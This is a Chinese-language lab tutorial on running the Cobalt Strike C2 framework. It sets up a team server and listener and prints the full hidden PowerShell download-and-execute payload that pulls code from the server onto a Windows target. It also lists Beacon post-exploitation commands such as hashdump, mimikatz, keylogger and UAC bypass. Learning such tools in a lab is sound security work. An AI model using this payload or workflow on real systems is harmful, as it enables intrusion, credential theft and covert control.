我认为:无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
(1)官方主页:https://www.cobaltstrike.com/
(2)Cobalt Strike:是一款基于C/S架构(客户端/服务器)的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗、内网渗透等等。
(3)Cobalt Strike功能:是一款基于GUI(图形用户界面)的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows的exe木马生成、Windows的dll木马生成、java木马生成、office宏病毒生成、木马捆绑、钓鱼攻击等等(钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等)。
客户端 Client | 服务器 Team Server | 攻击目标 Target_x |
---|---|---|
攻击者团队成员使用的图形化界面 | 可以设置监听器(端口监听)、生成payload攻击载荷(会在服务器设置的监听端口上提供攻击代码下载)、Team Server 日志记录保存在logs文件夹、支持团队协同操作等等 | 靶机通过Team Server提供的payload攻击载荷下载攻击代码 |
Client | Team Server | Target_x |
---|---|---|
攻击者团队成员1:Windows7(安装了jre8的java开发跨平台) | 团队服务器:Kali Linux | 靶机1:Windows Server 2008 |
IP:192.168.97.130/24 | IP:192.168.97.129/24 | IP:192.168.97.131/24 |
(1)如何在Kali Linux上创建Team Server团队服务器?
创建团队服务器语法:./teamserver
host是当前团队服务器的IP地址
password是分配给攻击者团队成员的密码
//如下图所示:成功的在Kali Linux开启了Team Server团队服务器,IP地址是本地的IP,密码是自定义的,成功后显示50050端口开启,该端口对应的就是团队服务器的服务。
(2)如何让本地和攻击者团队成员连接到Team Server团队服务器?
Linux本地连接方式:./cobaltstrike
//如下图所示:我们在团队服务器上进行本地连接,Host填写团队服务器IP,Port填写团队服务器的默认端口50050,User自定义,密码是刚刚设置的123456
Windows攻击者团队成员连接方式:双击cobaltstrike.bat
//如下图所示:主机填写Team Server团队服务器的IP地址,端口默认是50050,用户名自定义,密码是团队服务器开启时候给分配的123456。
(3)如何让靶机目标连接上Team Server团队服务器?
第一步:团队服务器上设置listener监听器
//如下图所示:我们设置名为beacon_http_1监听器,开启监听9999端口
第二步:团队服务器生成payload攻击载荷
//如下图所示:我们一般点击Attacks选项卡,然后选择Web Drive-by,最后点击Scripted Web Delivery脚本web传递,其中url它是个文件路径,Host是Team Server的IP,端口是Web服务的端口,powershell是攻击代码类型,其作用就是让目标(靶机)通过这个地址和80端口下载恶意脚本powershell。
//如下图所示:是生成的payload攻击载荷
//特别注意:该payload攻击载荷要保存下来
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
第三步:目标靶机运行payload攻击载荷
靶机运行:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
//如下图所示:这份代码是powershell下运行的,会加载到内存执行。
(4)如何判断靶机以上线?
//如下图所示:我们通过视图和日志,可以看到靶机192.168.97.131已上线
(5)测试功能:屏幕截图和端口扫描
第一步:右键视图下的靶机,点击进入beacon
第二步:进入beacon后,输入help命令,查看具体的使用方法
beacon> help
Beacon Commands
===============Command Description------- -----------argue 进程参数欺骗blockdlls 阻止子进程加载非Microsoft DLLbrowserpivot 注入受害者浏览器进程bypassuac 绕过UAC提升权限cancel 取消正在进行的下载cd 切换目录checkin 强制让被控端回连一次clear 清除beacon内部的任务队列connect Connect to a Beacon peer over TCPcovertvpn 部署Covert VPN客户端cp 复制文件dcsync 从DC中提取密码哈希desktop 远程桌面(VNC)dllinject 反射DLL注入进程dllload 使用LoadLibrary将DLL加载到进程中download 下载文件downloads 列出正在进行的文件下载drives 列出目标盘符elevate 使用expexecute 在目标上执行程序(无输出)execute-assembly 在目标上内存中执行本地.NET程序exit 终止beacon会话getprivs Enable system privileges on current tokengetsystem 尝试获取SYSTEM权限getuid 获取用户IDhashdump 转储密码哈希值help 帮助inject 在注入进程生成会话jobkill 结束一个后台任务jobs 列出后台任务kerberos_ccache_use 从ccache文件中导入票据应用于此会话kerberos_ticket_purge 清除当前会话的票据kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话keylogger 键盘记录kill 结束进程link Connect to a Beacon peer over a named pipelogonpasswords 使用mimikatz转储凭据和哈希值ls 列出文件make_token 创建令牌以传递凭据mimikatz 运行mimikatzmkdir 创建一个目录mode dns 使用DNS A作为通信通道(仅限DNS beacon)mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)mode http 使用HTTP作为通信通道mv 移动文件net net命令note 备注 portscan 进行端口扫描powerpick 通过Unmanaged PowerShell执行命令powershell 通过powershell.exe执行命令powershell-import 导入powershell脚本ppid Set parent PID for spawned post-ex jobsps 显示进程列表psexec Use a service to spawn a session on a hostpsexec_psh Use PowerShell to spawn a session on a hostpsinject 在特定进程中执行PowerShell命令pth 使用Mimikatz进行传递哈希pwd 当前目录位置reg Query the registryrev2self 恢复原始令牌rm 删除文件或文件夹rportfwd 端口转发run 在目标上执行程序(返回输出)runas 以其他用户权限执行程序runasadmin 在高权限下执行程序runu Execute a program under another PIDscreenshot 屏幕截图setenv 设置环境变量shell 执行cmd命令shinject 将shellcode注入进程shspawn 启动一个进程并将shellcode注入其中sleep 设置睡眠延迟时间socks 启动SOCKS4代理socks stop 停止SOCKS4spawn Spawn a session spawnas Spawn a session as another userspawnto Set executable to spawn processes intospawnu Spawn a session under another PIDssh 使用ssh连接远程主机ssh-key 使用密钥连接远程主机steal_token 从进程中窃取令牌timestomp 将一个文件的时间戳应用到另一个文件unlink Disconnect from parent Beaconupload 上传文件wdigest 使用mimikatz转储明文凭据winrm 使用WinRM横向渗透wmi 使用WMI横向渗透
第三步:进行屏幕截图(执行速度较快)
beacon> screenshot
//如下图所示,截图的内容保存到了Team Server下的logs日志目录下
第四步:进行端口扫描(执行速度较慢)
beacon> portscan 192.168.97.131 1-1024,3389 arp 1024
//arp后面的1024是扫描线程
//扫描结果如下图所示: